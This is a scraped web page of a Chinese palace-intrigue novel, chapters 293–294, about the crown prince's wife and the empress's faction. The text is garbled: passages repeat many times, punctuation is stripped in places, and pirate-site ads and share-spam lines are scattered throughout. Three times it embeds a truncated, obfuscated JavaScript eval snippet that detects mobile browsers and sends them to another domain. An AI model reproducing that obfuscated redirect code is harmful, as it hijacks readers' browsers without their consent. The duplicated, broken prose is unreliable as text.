裴墨染的眉头拧成了川字这种感觉就像一层无形的纱横亘在他们中间。 蛮蛮跟他生分了。 “我们是夫妻你说什么谢?”他有些着急声音提高了不少“蛮蛮你的兄长也是我的兄长我为你做任何事都是应该的!你莫非在心里怪我?” 狗男人怎么突然破防、应激了? 云清婳觉得可笑。 因为她真的没有找茬的意思是裴墨染自己心虚了。 “我没有怪夫君夫君怎么就吓着了?”她的话难免带了点阴阳怪气。 他做了几组深呼吸 你的朋友正在书荒,快去帮帮他吧 。 她接着道:“我不逼你你自己想清楚!当母亲的不为孩子争孩子将来一定会怪你的。” 说着苏灵音毫不留恋地走了。 魏娴目光灼灼地盯着她的背影。 巧慧跟在苏灵音身后。 出了大门后巧慧担忧地说:“主子魏娴跟云清亲得跟姊妹俩似的!倘若魏娴把您方才的话告诉云清婳了怎么办?” “呵呵……”苏灵音轻笑“你以为我真想要魏娴?我呸!我才瞧不上一个卑贱的庶女。” 巧慧恍然大悟“主子是想挑拨离间云清婳跟魏娴!让云清婳心生嫌隙怀疑魏娴投靠了您。” “没错!我就是要膈应死云清婳!谁让云家欺人太甚害死我二哥!”苏灵音的眼神刻毒恨不得扒了云清婳的皮吸干他的血。 …… 夜半玄音阁灯火通明。 榻上裴墨染轻拍着云清婳的背脊心疼道:“蛮蛮你莫要忧心我一直派人照料二哥 说的域名caixs?(请来才小 说 看最新章节 完整章节)二哥好好的。你若不信我明日带你去诏狱看他。” 她卷翘浓密的眼睫垂下哀声道:“诏狱苦寒不见天日再好能有多好?” 裴墨染语塞。 “你准备些吃食跟衣物明日给二哥送去怎么样?”他揉揉她的脸蛋想让她开心点。 她恹恹道:“多谢夫君。” 裴墨染的眉头拧成了川字这种感觉就像一层无形的纱横亘在他们中间。 蛮蛮跟他生分了。 “我们是夫妻你说什么谢?”他有些着急声音提高了不少“蛮蛮你的兄长也是我的兄长我为你做任何事都是应该的!你莫非在心里怪我?” 狗男人怎么突然破防、应激了? 云清婳觉得可笑。 因为她真的没有找茬的意思是裴墨染自己心虚了。 “我没有怪夫君夫君怎么就吓着了?”她的话难免带了点阴阳怪气。 他做了几组深呼吸恼羞成怒却又无处发泄“你如此还不如跟我吵一架!” 你的朋友正在书荒,快去帮帮他吧 。 她接着道:“我不逼你,你自己想清楚!当母亲的,不为孩子争,孩子将来一定会怪你的。” 说着,苏灵音毫不留恋地走了。 魏娴目光灼灼地盯着她的背影。 巧慧跟在苏灵音身后。 出了大门后,巧慧担忧地说:“主子,魏娴跟云清亲得跟姊妹俩似的!倘若魏娴把您方才的话告诉云清婳了怎么办?” “呵呵……”苏灵音轻笑,“你以为我真想要魏娴?我呸!我才瞧不上一个卑贱的庶女。” 巧慧恍然大悟,“主子是想挑拨离间云清婳跟魏娴!让云清婳心生嫌隙,怀疑魏娴投靠了您。” “没错!我就是要膈应死云清婳!谁让云家欺人太甚,害死我二哥!”苏灵音的眼神刻毒,恨不得扒了云清婳的皮,吸干他的血。 …… 夜半,玄音阁灯火通明。 榻上,裴墨染轻拍着云清婳的背脊,心疼道:“蛮蛮,你莫要忧心,我一直派人照料二哥,二哥好好的。你若不信,我明日带你去诏狱看他。” 她卷翘浓密的眼睫垂下,哀声道:“诏狱苦寒,不见天日,再好能有多好?” 裴墨染语塞。 “你准备些吃食跟衣物,明日给二哥送去怎么样?”他揉揉她的脸蛋,想让她开心点。 她恹恹道:“多谢夫君。” 裴墨染的眉头拧成了川字,这种感觉就像一层无形的纱横亘在他们中间。 蛮蛮跟他生分了。 “我们是夫妻,你说什么谢?”他有些着急,声音提高了不少,“蛮蛮,你的兄长也是我的兄长,我为你做任何事都是应该的!你莫非在心里怪我?” 狗男人怎么突然破防、应激了? 云清婳觉得可笑。 因为她真的没有找茬的意思,是裴墨染自己心虚了。 “我没有怪夫君,夫君怎么就吓着了?”她的话难免带了点阴阳怪气。 他做了几组深呼吸,恼羞成怒却又无处发泄,“你如此,还不如跟我吵一架!” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 。 她接着道:“我不逼你,你自己想清楚!当母亲的,不为孩子争,孩子将来一定会怪你的。 说着,苏灵音毫不留恋地走了。 魏娴目光灼灼地盯着她的背影。 巧慧跟在苏灵音身后。 出了大门后,巧慧担忧地说:“主子,魏娴跟云清亲得跟姊妹俩似的!倘若魏娴把您方才的话告诉云清婳了怎么办? “呵呵……苏灵音轻笑,“你以为我真想要魏娴?我呸!我才瞧不上一个卑贱的庶女。 巧慧恍然大悟,“主子是想挑拨离间云清婳跟魏娴!让云清婳心生嫌隙,怀疑魏娴投靠了您。 “没错!我就是要膈应死云清婳!谁让云家欺人太甚,害死我二哥!苏灵音的眼神刻毒,恨不得扒了云清婳的皮,吸干他的血。 …… 夜半,玄音阁灯火通明。 榻上,裴墨染轻拍着云清婳的背脊,心疼道:“蛮蛮,你莫要忧心,我一直派人照料二哥,二哥好好的。你若不信,我明日带你去诏狱看他。 她卷翘浓密的眼睫垂下,哀声道:“诏狱苦寒,不见天日,再好能有多好? 裴墨染语塞。 “你准备些吃食跟衣物,明日给二哥送去怎么样? 她恹恹道:“多谢夫君。 裴墨染的眉头拧成了川字,这种感觉就像一层无形的纱横亘在他们中间。 蛮蛮跟他生分了。 “我们是夫妻,你说什么谢?他有些着急,声音提高了不少,“蛮蛮,你的兄长也是我的兄长,我为你做任何事都是应该的!你莫非在心里怪我? 狗男人怎么突然破防、应激了? 云清婳觉得可笑。 因为她真的没有找茬的意思,是裴墨染自己心虚了。 “我没有怪夫君,夫君怎么就吓着了?她的话难免带了点阴阳怪气。 他做了几组深呼吸,恼羞成怒却又无处发泄,“你如此,还不如跟我吵一架! 听说看这本书的人都是很幸运的,分享后你的运气会更棒 < ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16195550|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 。 她接着道:“我不逼你,你自己想清楚!当母亲的,不为孩子争,孩子将来一定会怪你的。” 说着,苏灵音毫不留恋地走了。 魏娴目光灼灼地盯着她的背影。 巧慧跟在苏灵音身后。 出了大门后,巧慧担忧地说:“主子,魏娴跟云清亲得跟姊妹俩似的!倘若魏娴把您方才的话告诉云清婳了怎么办?” “呵呵……”苏灵音轻笑,“你以为我真想要魏娴?我呸!我才瞧不上一个卑贱的庶女。” 巧慧恍然大悟,“主子是想挑拨离间云清婳跟魏娴!让云清婳心生嫌隙,怀疑魏娴投靠了您。” “没错!我就是要膈应死云清婳!谁让云家欺人太甚,害死我二哥!”苏灵音的眼神刻毒,恨不得扒了云清婳的皮,吸干他的血。 …… 夜半,玄音阁灯火通明。 榻上,裴墨染轻拍着云清婳的背脊,心疼道:“蛮蛮,你莫要忧心,我一直派人照料二哥,二哥好好的。你若不信,我明日带你去诏狱看他。” 她卷翘浓密的眼睫垂下,哀声道:“诏狱苦寒,不见天日,再好能有多好?” 裴墨染语塞。 “你准备些吃食跟衣物,明日给二哥送去怎么样?”他揉揉她的脸蛋,想让她开心点。 她恹恹道:“多谢夫君。” 裴墨染的眉头拧成了川字,这种感觉就像一层无形的纱横亘在他们中间。 蛮蛮跟他生分了。 “我们是夫妻,你说什么谢?”他有些着急,声音提高了不少,“蛮蛮,你的兄长也是我的兄长,我为你做任何事都是应该的!你莫非在心里怪我?” 狗男人怎么突然破防、应激了? 云清婳觉得可笑。 因为她真的没有找茬的意思,是裴墨染自己心虚了。 “我没有怪夫君,夫君怎么就吓着了?”她的话难免带了点阴阳怪气。 他做了几组深呼吸,恼羞成怒却又无处发泄,“你如此,还不如跟我吵一架!” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 。 她接着道:“我不逼你,你自己想清楚!当母亲的,不为孩子争,孩子将来一定会怪你的。 说着,苏灵音毫不留恋地走了。 魏娴目光灼灼地盯着她的背影。 巧慧跟在苏灵音身后。 出了大门后,巧慧担忧地说:“主子,魏娴跟云清亲得跟姊妹俩似的!倘若魏娴把您方才的话告诉云清婳了怎么办? “呵呵……苏灵音轻笑,“你以为我真想要魏娴?我呸!我才瞧不上一个卑贱的庶女。 巧慧恍然大悟,“主子是想挑拨离间云清婳跟魏娴!让云清婳心生嫌隙,怀疑魏娴投靠了您。 “没错!我就是要膈应死云清婳!谁让云家欺人太甚,害死我二哥!苏灵音的眼神刻毒,恨不得扒了云清婳的皮,吸干他的血。 …… 夜半,玄音阁灯火通明。 榻上,裴墨染轻拍着云清婳的背脊,心疼道:“蛮蛮,你莫要忧心,我一直派人照料二哥,二哥好好的。你若不信,我明日带你去诏狱看他。 她卷翘浓密的眼睫垂下,哀声道:“诏狱苦寒,不见天日,再好能有多好? 裴墨染语塞。 “你准备些吃食跟衣物,明日给二哥送去怎么样?他揉揉她的脸蛋,想让她开心点。 她恹恹道:“多谢夫君。 裴墨染的眉头拧成了川字,这种感觉就像一层无形的纱横亘在他们中间。 蛮蛮跟他生分了。 “我们是夫妻,你说什么谢?他有些着急,声音提高了不少,“蛮蛮,你的兄长也是我的兄长,我为你做任何事都是应该的!你莫非在心里怪我? 狗男人怎么突然破防、应激了? 云清婳觉得可笑。 因为她真的没有找茬的意思,是裴墨染自己心虚了。 “我没有怪夫君,夫君怎么就吓着了? 他做了几组深呼吸,恼羞成怒却又无处发泄,“你如此,还不如跟我吵一架! 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 。 她接着道:“我不逼你你自己想清楚!当母亲的不为孩子争孩子将来一定会怪你的。” 说着苏灵音毫不留恋地走了。 魏娴目光灼灼地盯着她的背影。 巧慧跟在苏灵音身后。 出了大门后巧慧担忧地说:“主子魏娴跟云清亲得跟姊妹俩似的!倘若魏娴把您方才的话告诉云清婳了怎么办?” “呵呵……”苏灵音轻笑“你以为我真想要魏娴?我呸!我才瞧不上一个卑贱的庶女。” 巧慧恍然大悟“主子是想挑拨离间云清婳跟魏娴!让云清婳心生嫌隙怀疑魏娴投靠了您。” “没错!我就是要膈应死云清婳!谁让云家欺人太甚害死我二哥!”苏灵音的眼神刻毒恨不得扒了云清婳的皮吸干他的血。 …… 夜半玄音阁灯火通明。 榻上裴墨染轻拍着云清婳的背脊心疼道:“蛮蛮你莫要忧心 说全网首发无弹窗免费阅读caixs?(请来才小 说 看最新章节 完整章节)我一直派人照料二哥二哥好好的。你若不信我明日带你去诏狱看他。” 她卷翘浓密的眼睫垂下哀声道:“诏狱苦寒不见天日再好能有多好?” 裴墨染语塞。 “你准备些吃食跟衣物明日给二哥送去怎么样?”他揉揉她的脸蛋想让她开心点。 她恹恹道:“多谢夫君。” 裴墨染的眉头拧成了川字这种感觉就像一层无形的纱横亘在他们中间。 蛮蛮跟他生分了。 “我们是夫妻你说什么谢?”他有些着急声音提高了不少“蛮蛮你的兄长也是我的兄长我为你做任何事都是应该的!你莫非在心里怪我?” 狗男人怎么突然破防、应激了? 云清婳觉得可笑。 因为她真的没有找茬的意思是裴墨染自己心虚了。 “我没有怪夫君夫君怎么就吓着了?”她的话难免带了点阴阳怪气。 他做了几组深呼吸恼羞成怒却又无处发泄“你如此还不如跟我吵一架!” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第293章 那你亲我一口 “蛮蛮,给我点时间好吗?我已经派诸葛先生追寻真相了。我虽是太子,但是不便徇私,一切都得公事公办。” “假如寻不到真相呢?”她问。 裴墨染逃避她的问题,转移话头,“不会的,事过留痕,一定会水落石出的。” “……” 云清婳发出轻蔑的哼声。 真是铁面无私的判官啊! 咚咚咚—— 拍门声猝然响起。 “殿下,太监总管来了。”王显通传道。 裴墨染跟云清婳对视,二人的脸上出现忧色。 大半夜的,皇上怎么派人来了? 裴墨染立即起身,他按着云清婳的肩膀,“蛮蛮,你先睡着,我去看看就好。” “嗯。”她皱着眉头。 “殿下,陛下让老奴接两位皇孙进宫。”太监总管皮笑肉不笑地说。 听到这里,云清婳的心像是被揪住。 “为何?”裴墨染不由得提起防备,“都快子时了,孩子半夜闹腾,若是叨扰父皇岂不是罪过了?” 太监总管甩了下拂尘,“无妨,陛下宠爱皇孙,不会计较的。” 裴墨染递给婢女一个眼色,示意她们将孩子抱出来,“不如本宫跟着一起去吧。” “如此甚好!陛下正是这么吩咐的。”太监总管深深鞠了一躬。 裴墨染感到窒息。 有种山雨欲来风满楼的压迫感。 玄音阁常年备着他的朝服。 他匆匆取出**袍,边穿边道:“蛮蛮,父皇召我跟孩子进宫。” 云清婳自然都听见了,她的心脏突突直跳。 圣上的心,她愈发琢磨不透了。 “夫君,陛下不会要抢走孩子吧……”她光着脚下榻,匆忙给他理着卷进内侧的衣领,眼泪在眼眶打转。 他将她打横抱起来,“你看你,又没穿鞋。” “你衣袍还没舒展开呢。”她理着他的衣领。 二人嘴上不说,可心皆是兵荒马乱。 “放心吧,我也一同进宫,有我护着孩子呢。”他将她放在榻上。 她瘪着嘴,娇声哭道:“孩子若是不能回来,你也别回来。” “我倒想,父皇见我就 烦。”他苦中作乐想要逗笑她。 云清婳揩去泪“快走吧别让公公等急了。” “嗯。”他俯下身把脸凑近“亲我一口。” 她在他脸上咬了一口“去你的!” 裴墨染捂着脸笑道:“你耍流氓?让我带着你的牙印面圣?” 她嗔了他一眼。 …… 到了御书房裴墨染面沉如水他不禁担忧。 两个孩子连他都不认识了若是不认识父皇父皇恐怕会生气。 “父皇莫怪孩子还小有时候太久不见恐怕会认不得人。”裴墨染想先给皇上提个醒。 这样也好有个心理准备 小说的域名caixs□(请来才 小说 看最新章节 完整章节)以免等会儿太失望。 太监跟嬷嬷将孩子抱给皇上。 两个孩子从睡梦中被吵醒不哭不闹懵懂地用小肉手揉揉惺忪的睡眼“唔……” “醒了?”皇上的眼角上扬脸上露出慈爱、和蔼的表情声音也微微夹着。 “爷爷~”两个小奶包异口同声。 “诶!”皇上的笑容更盛眼角的皱纹堆起。 裴墨染不禁感到酸涩。 孩子记得父皇都不记得他? 这两个没良心的! 这么小都会抱大腿了? 皇上抱着两个小家伙。 辞忧、承基在皇上脸上吧唧亲了一口。 这把皇上逗乐了笑得合不拢嘴。 裴墨染在心中感叹两个孩子被蛮蛮教的真好。 “你很久没回东宫了?孩子不记得你了?”皇上冷不丁发问。 他恭敬地拱手:“为了查清云褚跟苏盛的疑案儿臣不敢懈怠。” “愚蠢!”皇上剐了他一眼“整天就想着查案你不怕有人教坏了皇孙?利用皇孙把弄朝政?” “……嗯?”裴墨染微愣但他很快反应过来。 皇上是在映射蛮蛮皇上担心蛮蛮教孩子替云家求情。 “儿臣相信蛮蛮蛮蛮绝不会僭越。”裴墨染道。 而且就算蛮蛮教了也是人之常情。 云褚是蛮蛮的二哥手足情深她怎舍得放任不管? 皇上冷哼“日后还是要防备些倘若她教了孩子便不该由她教养了。太子妃 之位也得重新掂量了。” “……”裴墨染未置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴墨染屏退下人他脱下**袍俯身将她扑倒。 第294章 她故意暴露,**后 裴墨染在她唇上好好掠夺了一番才将御书房的事和盘托出毫无保留。 云清婳轻拍了拍胸口松了口气。 还好不是逼他处置云褚之类的。 她紧紧搂住他的腰“夫君其实我想过让孩子帮二哥求情。” “无妨我明白你二哥对你很重要这是人之常情。”他并不觉得过分。 蛮蛮向来识大体以大局为重。 她若是逾矩 “可是我觉得孩子不是工具我是他们的母亲我不能利用他们。”她的声音娇柔却无比的坚定。 裴墨染心中最柔软的地方仿佛被戳中。 他在她额上落下一吻“难怪父皇赞赏你你若是父皇的孩子一定比裴云澈还讨他喜欢。” “夫君也要学着讨皇上的喜欢啊。”她娇声道。 裴墨染将脸埋在她的胸口撒娇道:“蛮蛮你教教我?” “好痒啊……你别蹭!”她轻笑着按着他的脑袋“夫君假如我真教了孩子不该教的皇上要废掉我的太子妃之位怎么办?” 裴墨染一愣。 “哼!你肯定会同意废掉我然后把孩子给别人教养。”思及此她气得啪的一巴掌抽到他脸上。 啪—— 裴墨染懵了。 好端端的怎么就挨巴掌了呢? 他捂着脸从温柔乡抬起头委屈道:“我没这么想跟我比肩而立的人只有你我身边的位置早晚是你的!” “说得倒好听。”她夹了他一眼。 裴墨染委屈极了。 …… 翌日裴墨染带云清婳去了诏狱。 诏狱是关押朝廷重犯的地方。 潮湿阴冷不见天日血腥味浓重行刑声与犯人的哀嚎声不绝于耳。 好在云褚的确受到了照料。 他所处的监牢虽然狭窄但还算干净。 云清婳不满地在裴墨染的胳膊上掐了一把“这就是夫君说的照料?” “二哥杀害了皇亲国戚实属重罪!这已经是最好的地界了地下还有更深的监狱呢。”裴墨染正色解释。 几个副将纷纷应和“千真万确太子妃这是咱们诏 狱里最好的地界了! “这是殿下精心挑选的!二公子每日的吃食跟殿下别无二致。 “怎么样?我没骗你吧?裴墨染一脸求夸奖的表情。 她在他脚上狠狠一踩,“夫君觉得好,夫君就住这里吧! 裴墨染疼得倒吸了口凉气。 所有副将整齐地转身。 我们什么都没看见! …… 苏灵音去了翊坤宫。 皇后躺在榻上,面色惨白,咳嗽不止,“咳咳……盛儿太可怜了,他还没有娶妻啊。就被云褚这个贱胚子害**!他们云家不得好死,本宫诅咒他们下十八层地狱,永世不得超生! “姑母,我的外祖父已经回京了,他断不会放过云家。苏灵音眼中刺骨的仇恨迸发。 她使劲咳了咳,肺简直都要咳出来,“云褚最好五马分尸!云家垮了,云清婳也受牵连,你又有了身孕,灵音,还有谁比你更适合当太子妃? 苏灵音抚摸着平坦的小腹,脸颊映出娇红,“姑母,我都被殿下弄怕了,生怕这一次又是假孕。 “放心吧,本宫找太医诊断过了,这次千真万确是真孕,算命的说了,极有可能是男胎呢。皇后长叹一声,有种苦尽甘来之感、 苏家被打压,侄儿惨死,好在还有灵音争气。 “过几日就是姑母的生辰了,姑母务必要养好身子啊,现在虞贵妃虎视眈眈,您可千万不能让她钻了空子。苏灵音道。 皇后的眼中仿佛燃烧起了斗志,她的手缓缓攥成了一个拳,“本宫要养好身子,必不能让虞贵妃这个贱婢得意! …… 苏灵音的外祖父联合苏家一直上奏,参云褚一本,**云家。 但皇上睁一只眼闭一只眼,表面安抚,但实际上悬而不决。 看似皇上在帮着云家,但实际上是在制衡权术,加深苏家跟云家的矛盾罢了。 …… 皇后的生辰照理说应该由太子妃操办。 但皇后却点名让苏灵音全权主事,把权力交给了苏灵音。 这相当于当众下云清婳的面子。 许多宫女、太监都很同情云清婳。 但云清婳毫不在意,只是在外人面前装得楚楚可怜, 把皇后衬托成了恶毒婆母。 …… 皇后生辰当日天蒙蒙亮云清婳便按照规矩前去请安。 “主子皇后以为她在惩罚您殊不知您乐得清闲根本不想插手。”飞霜捂着嘴暗笑。 云清婳的唇勾起一抹讥诮的弧度“她以为我想给她过寿?我只想给她办丧事!” 飞霜扑哧一声笑喷了。 到了翊坤宫。 朱红色的大门紧闭。 云清婳在外面站了半晌都不见宫女来开门。 但她们明显听到门内传来絮絮的说话声。 云清婳无奈地笑了。 皇后的手段未免也太低劣了。 “皇后这是故意不开门想要罚您一直站着让您丢脸。怎么办啊?”飞霜蹙眉。 如此一来后宫的人都会看云清婳笑话儿媳妇给婆母请安但婆母门都不开。 正想着各宫的婢女、嬷嬷果然都故意从她们身后经过悄悄瞥着云清婳。 “不急!” 云清婳岂会被皇后拿捏? 她弱柳扶风般用帕子擦了擦眼角 “这样也好。”飞霜应和。 云清婳转身的瞬间门砰的开了。 金嬷嬷慌忙道:“太子妃娘娘方才在昏睡您可万万不能去给虞贵妃请安啊。哪有太子妃去拜见贵妃的?贵妃岂能跟皇后相提并论?” 如此虞贵妃会笑话皇后不说皇后的威严也会尽失。 “是我心急了。”云清婳顺水推舟地说。 金嬷嬷笑得殷勤她领着云清婳进入寝殿。 “娘娘太子妃来请安了。” “儿臣参见母后母后万福金安儿臣祝您福如东海寿比南山。”云清婳福福身。 皇后没有应声。 但透过纱织屏风云清婳明显看见皇后是醒着的。 这是装聋作哑故意给她为难。 “娘娘?”金嬷嬷又唤了一声。 “……” 皇后没有回应。 金嬷嬷不好意思地笑了“娘娘身子不爽恐怕又睡着了还请太子妃稍等。” “是。”云清婳面上娴静并不焦躁。 金嬷嬷欲言又止有些同情云清婳可最后还是带着宫女退下了。 独留云清婳站在寝殿中央静静地等候。 反正寿宴开始皇后必须到场。 皇后能装多久? 她今天还有一个大礼要送给皇后呢。 但仅仅过了一炷香转机就来了。 裴云澈来了。 二人相视一笑。 云清婳的眼神倾泻出光彩“皇后睡着了。” 说着她快步走到他的面前。 “裴郎是来给皇后请安的?” 没错她不装了! 她就是要暴露! 就是要气死老妖婆! 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 把皇后衬托成了恶毒婆母。 …… 皇后生辰当日天蒙蒙亮云清婳便按照规矩前去请安。 “主子皇后以为她在惩罚您殊不知您乐得清闲根本不想插手。”飞霜捂着嘴暗笑。 云清婳的唇勾起一抹讥诮的弧度“她以为我想给她过寿?我只想给她办丧事!” 飞霜扑哧一声笑喷了。 到了翊坤宫。 朱红色的大门紧闭。 云清婳在外面站了半晌 但她们明显听到门内传来絮絮的说话声。 云清婳无奈地笑了。 皇后的手段未免也太低劣了。 “皇后这是故意不开门想要罚您一直站着让您丢脸。怎么办啊?”飞霜蹙眉。 如此一来后宫的人都会看云清婳笑话儿媳妇给婆母请安但婆母门都不开。 正想着各宫的婢女、嬷嬷果然都故意从她们身后经过悄悄瞥着云清婳。 “不急!” 云清婳岂会被皇后拿捏? 她弱柳扶风般用帕子擦了擦眼角声音半大不小“恐怕皇后娘娘身子尚未痊愈我去给虞贵妃请安吧皇后娘娘病弱皇上便把后宫的主事权分给了虞贵妃。” “这样也好。”飞霜应和。 云清婳转身的瞬间门砰的开了。 金嬷嬷慌忙道:“太子妃娘娘方才在昏睡您可万万不能去给虞贵妃请安啊。哪有太子妃去拜见贵妃的?贵妃岂能跟皇后相提并论?” 如此虞贵妃会笑话皇后不说皇后的威严也会尽失。 “是我心急了。”云清婳顺水推舟地说。 金嬷嬷笑得殷勤她领着云清婳进入寝殿。 “娘娘太子妃来请安了。” “儿臣参见母后母后万福金安儿臣祝您福如东海寿比南山。”云清婳福福身。 皇后没有应声。 但透过纱织屏风云清婳明显看见皇后是醒着的。 这是装聋作哑故意给她为难。 “娘娘?”金嬷嬷又唤了一声。 “……” 皇后没有回应。 金嬷嬷不好意思地笑了“娘娘身子不爽恐怕又睡着了还请太子妃稍等。” “是。”云清婳面上娴静并不焦躁。 金嬷嬷欲言又止有些同情云清婳可最后还是带着宫女退下了。 独留云清婳站在寝殿中央静静地等候。 反正寿宴开始皇后必须到场。 皇后能装多久? 她今天还有一个大礼要送给皇后呢。 但仅仅过了一炷香转机就来了。 裴云澈来了。 二人相视一笑。 云清婳的眼神倾泻出光彩“皇后睡着了。” 说着她快步走到他的面前。 “裴郎是来给皇后请安的?” 没错她不装了! 她就是要暴露! 就是要气死老妖婆! 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 把皇后衬托成了恶毒婆母。 …… 皇后生辰当日,天蒙蒙亮,云清婳便按照规矩前去请安。 “主子,皇后以为她在惩罚您,殊不知您乐得清闲,根本不想插手。”飞霜捂着嘴暗笑。 云清婳的唇勾起一抹讥诮的弧度,“她以为我想给她过寿?我只想给她办丧事!” 飞霜扑哧一声笑喷了。 到了翊坤宫。 朱红色的大门紧闭。 云清婳在外面站了半晌,都不见宫女来开门。 但她们明显听到门内传来絮絮的说话声。 云清婳无奈地笑了。 皇后的手段未免也太低劣了。 “皇后这是故意不开门,想要罚您一直站着,让您丢脸。怎么办啊?”飞霜蹙眉。 如此一来,后宫的人都会看云清婳笑话,儿媳妇给婆母请安,但婆母门都不开。 正想着,各宫的婢女、嬷嬷果然都故意从她们身后经过,悄悄瞥着云清婳。 “不急!” 云清婳岂会被皇后拿捏? 她弱柳扶风般用帕子擦了擦眼角,声音半大不小,“恐怕皇后娘娘身子尚未痊愈,我去给虞贵妃请安吧,皇后娘娘病弱,皇上便把后宫的主事权分给了虞贵妃。” “这样也好。”飞霜应和。 云清婳转身的瞬间,门砰的开了。 金嬷嬷慌忙道:“太子妃,娘娘方才在昏睡,您可万万不能去给虞贵妃请安啊。哪有太子妃去拜见贵妃的?贵妃岂能跟皇后相提并论?” 如此,虞贵妃会笑话皇后不说,皇后的威严也会尽失。 “是我心急了。”云清婳顺水推舟地说。 金嬷嬷笑得殷勤,她领着云清婳进入寝殿。 “娘娘,太子妃来请安了。” “儿臣参见母后,母后万福金安,儿臣祝您福如东海,寿比南山。”云清婳福福身。 皇后没有应声。 但透过纱织屏风,云清婳明显看见皇后是醒着的。 这是装聋作哑,故意给她为难。 “娘娘?”金嬷嬷又唤了一声。 “……” 皇后没有回应。 金嬷嬷不好意思地笑了,“娘娘身子不爽,恐怕又睡着了,还请太子妃稍等。” “是。”云清婳面上娴静,并不焦躁。 金嬷嬷欲言又止,有些同情云清婳,可最后还是带着宫女退下了。 独留云清婳站在寝殿中央,静静地等候。 反正寿宴开始,皇后必须到场。 皇后能装多久? 她今天还有一个大礼要送给皇后呢。 但仅仅过了一炷香,转机就来了。 裴云澈来了。 二人相视一笑。 云清婳的眼神倾泻出光彩,“皇后睡着了。” 说着,她快步走到他的面前。 “裴郎是来给皇后请安的?” 没错,她不装了! 她就是要暴露! 就是要气死老妖婆! 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 把皇后衬托成了恶毒婆母。 …… 皇后生辰当日,天蒙蒙亮,云清婳便按照规矩前去请安。 “主子,皇后以为她在惩罚您,殊不知您乐得清闲,根本不想插手。”飞霜捂着嘴暗笑。 云清婳的唇勾起一抹讥诮的弧度,“她以为我想给她过寿?我只想给她办丧事!” 飞霜扑哧一声笑喷了。 到了翊坤宫。 朱红色的大门紧闭。 云清婳在外面站了半晌,都不见宫女来开门。 但她们明显听到门内传来絮絮的说话声。 云清婳无奈地笑了。 皇后的手段未免也太低劣了。 “皇后这是故意不开门,想要罚您一直站着,让您丢脸。怎么办啊?”飞霜蹙眉。 如此一来,后宫的人都会看云清婳笑话,儿媳妇给婆母请安,但婆母门都不开。 正想着,各宫的婢女、嬷嬷果然都故意从她们身后经过,悄悄瞥着云清婳。 “不急!” 云清婳岂会被皇后拿捏? 她弱柳扶风般用帕子擦了擦眼角,声音半大不小,“恐怕皇后娘娘身子尚未痊愈,我去给虞贵妃请安吧,皇后娘娘病弱,皇上便把后宫的主事权分给了虞贵妃。” “这样也好。”飞霜应和。 云清婳转身的瞬间,门砰的开了。 金嬷嬷慌忙道:“太子妃,娘娘方才在昏睡,您可万万不能去给虞贵妃请安啊。哪有太子妃去拜见贵妃的?贵妃岂能跟皇后相提并论?” 如此,虞贵妃会笑话皇后不说,皇后的威严也会尽失。 “是我心急了。”云清婳顺水推舟地说。 金嬷嬷笑得殷勤,她领着云清婳进入寝殿。 “娘娘,太子妃来请安了。” “儿臣参见母后,母后万福金安,儿臣祝您福如东海,寿比南山。”云清婳福福身。 皇后没有应声。 但透过纱织屏风,云清婳明显看见皇后是醒着的。 这是装聋作哑,故意给她为难。 “娘娘?”金嬷嬷又唤了一声。 “……” 皇后没有回应。 金嬷嬷不好意思地笑了,“娘娘身子不爽,恐怕又睡着了,还请太子妃稍等。” “是。”云清婳面上娴静,并不焦躁。 金嬷嬷欲言又止,有些同情云清婳,可最后还是带着宫女退下了。 独留云清婳站在寝殿中央,静静地等候。 反正寿宴开始,皇后必须到场。 皇后能装多久? 她今天还有一个大礼要送给皇后呢。 但仅仅过了一炷香,转机就来了。 裴云澈来了。 二人相视一笑。 云清婳的眼神倾泻出光彩,“皇后睡着了。” 说着,她快步走到他的面前。 “裴郎是来给皇后请安的?” 没错,她不装了! 她就是要暴露! 就是要气死老妖婆! 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 把皇后衬托成了恶毒婆母。 …… 皇后生辰当日天蒙蒙亮云清婳便按照规矩前去请安。 “主子皇后以为她在惩罚您殊不知您乐得清闲根本不想插手。”飞霜捂着嘴暗笑。 云清婳的唇勾起一抹讥诮的弧度“她以为我想给她过寿?我只想给她办丧事!” 飞霜扑哧一声笑喷了。 到了翊坤宫。 朱红色的大门紧闭。 云清婳在外面站了半晌都不见宫女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199656|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来开门。 但她们明显听到门内传来絮絮的说话声。 云清婳无奈地笑了。 皇后的手段未免也太低劣了。 